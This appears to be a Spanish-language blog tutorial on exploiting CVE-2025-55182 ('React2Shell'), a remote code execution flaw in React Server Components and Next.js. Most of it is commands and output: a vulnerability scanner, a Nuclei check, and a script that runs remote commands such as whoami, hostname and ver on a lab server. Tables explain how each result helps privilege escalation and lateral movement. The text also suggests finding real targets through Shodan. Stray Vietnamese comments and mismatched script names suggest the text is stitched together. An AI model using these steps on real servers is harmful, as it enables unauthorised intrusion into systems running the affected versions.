
Explotación de la vulnerabilidad de seguridad CVE-2025-55182
CVE-2025-55182, también conocida como React2Shell, es una vulnerabilidad grave de ejecución remota de código (RCE) que afecta a React Server Components (RSC). Utiliza el protocolo Flight para la comunicación entre cliente y servidor. Cuando el cliente solicita datos, el servidor recibe un payload y lo analiza, lo que puede permitir a un atacante inyectar estructuras maliciosas o fragmentos de código arbitrarios que React acepta como válidos.
| Campo | Contenido |
|---|---|
| Gravedad | Critical (CVSS 10.0) |
| Tipo | Unsafe Deserialization (CWE-502) |
| Método de ataque | Remoto, sin autenticación requerida |
| Versiones afectadas: | React: 19.0.0, 19.1.0, 19.1.1, 19.2.0 y Next.js: 15.0.0 – 15.0.4, 15.1.0 – 15.1.8, 15.2.0 – 15.2.5, 15.3.0 – 15.3.5, 15.4.0 – 15.4.7, 15.5.0 – 15.5.6, 16.0.0 – 16.0.6 |
El servidor procesa el payload del cliente sin una validación completa, lo que permite al atacante:
La actividad de explotación relacionada con esta vulnerabilidad se ha detectado desde el 5 de diciembre de 2025. La mayoría de las explotaciones exitosas provienen de evaluaciones de grupos de ataque. Tanto los entornos Windows como Linux están afectados.
Instalación
pip install -r requirements.txt
Escanea un servidor vulnerable:
python3 scanner.py -u https://example.com
Introduce la ruta a escanear (aquí ingresé mi máquina vulnerable: http://192.168.10.1:3000)
Resultado obtenido:
╰─ python3 scanner.py -u http://192.168.10.1:3000
brought to you by assetnote
[*] Loaded 1 host(s) to scan
[*] Using 10 thread(s)
[*] Timeout: 10s
[*] Using RCE PoC check
[!] SSL verification disabled
[VULNERABLE] http://192.168.10.1:3000 - Status: 303
Escanea una lista de servidores:
python3 scanner.py -l hosts.txt
Escanea con múltiples hilos y guarda resultados:
python3 scanner.py -l hosts.txt -t 20 -o results.json
Escanea con cabeceras personalizadas:
python3 scanner.py -u https://example.com -H "Authorization: Bearer token" -H "Cookie: session=abc"
Escanea objetivos Windows:
python3 scanner.py -u https://example.com --windows
Usa un método de detección de canal lateral seguro:
python3 scanner.py -u https://example.com --safe-check
Como puedes ver, nos enfrentamos a una vulnerabilidad de seguridad, lo que significa que nuestro servidor es susceptible de ser atacado por un atacante.
Ahora usaremos Nuclei para comprobar qué vulnerabilidad con PoC tiene el servidor anterior. Esta función funciona enviando solicitudes personalizadas, reduce los falsos positivos y admite el escaneo paralelo.
nuclei -t scan.yaml -u http://192.168.10.1:3000
Resultado obtenido:
[INF] Current nuclei version: v3.7.1 (latest)
[INF] Current nuclei-templates version: v10.4.0 (latest)
[INF] New templates added in latest release: 94
[INF] Templates loaded for current scan: 1
[INF] Executing 1 signed templates from projectdiscovery/nuclei-templates
[INF] Targets loaded for current scan: 1
[CVE-2025-55182] [http] [critical] http://192.168.10.1:3000
[INF] Scan completed in 431.97876ms. 1 matches found.
El sistema ha detectado que este servidor es vulnerable y puede ser explotado mediante la vulnerabilidad CVE-2025-55182. Y desde ahí puedes ver que es una vulnerabilidad bastante peligrosa e importante que ya tiene muchos PoC en las plataformas sociales. ☺☺☺
Puedes ver que tan solo con esta información es suficiente para confirmar que la vulnerabilidad de seguridad existe en la aplicación. Para demostrar que esta aplicación puede ser aprovechada para ejecutar un comando o código de forma remota, comenzaré con el PoC.
chmod +x scanner.sh
# Check xem đối phương có vulnerable ko
./datscan.sh -d example.com
# Thực thi lệnh kiểm tra user hiện tại
./datscan.sh -d example.com -c "whoami"
# With full URL
./datscan.sh -d example.com -c "uname -a"
Significado:
Devuelve el usuario actual que ejecuta el proceso del servidor.
Ayuda a identificar:
=> Este es el comando más básico para confirmar una RCE exitosa.
-d, --domain - dominio/URL-c, --command - comando a ejecutar (p. ej.: whoami, hostname,...)# Check xem tên máy
./datscan.sh -d http://192.168.10.1:3000/ -c hostname
# Xác định phiên bản hệ điều hành
./datscan.sh -d http://192.168.10.1:3000/ -c ver
# Kiểm tra command execution có hoạt động ổn định không
./datscan.sh -c "echo test"
./datscan.sh -d http://192.168.10.1:3000/ -c "echo %USERNAME%"
./datscan.sh -d http://192.168.10.1:3000/ -c "echo %COMPUTERNAME%"
Este es el paso de reconocimiento inicial después de una explotación exitosa.
Nos permite confirmar: que la RCE funciona, identificar el sistema operativo,...
Debido a que estoy demostrando este experimento en un entorno de laboratorio personal para evitar problemas legales, el uso de cabeceras HTTP para robar datos, las salidas grandes o los caracteres especiales pueden causar:
ERR_INVALID_CHAR
Los comandos cortos (por ejemplo: whoami, ver) son más fiables para ilustrar en el entorno de pruebas anterior.
Si no te gusta, puedes usar Shodan para comprobar direcciones IP directamente en entornos reales y hacer como en mi experimento anterior para explotar (no recomendado).
Como se señaló anteriormente. Esta herramienta es solo para fines educativos y pruebas de seguridad autorizadas. No uses esta herramienta para realizar pruebas en sistemas que no posees o para los que no tienes permiso de prueba.
| Significado de los comandos ejecutados | Contenido |
|---|
| Devuelve el nombre del host | Se usa para: - identificar el sistema afectado - facilitar el movimiento lateral (en entornos internos) |
| Determina la versión del sistema operativo | Importante para: - evaluar la posibilidad de continuar la explotación (escalada de privilegios) - elegir el exploit adecuado |
| Comprueba la ejecución de comandos | Se usa para depurar el payload / escáner |
| Devuelve el nombre de usuario actual | En este caso: -el usuario es ADMIN → puede tener privilegios elevados - Más importante que whoami en algunos casos de Windows |
| Devuelve el nombre del host | Devuelve el nombre del host mediante la variable de entorno |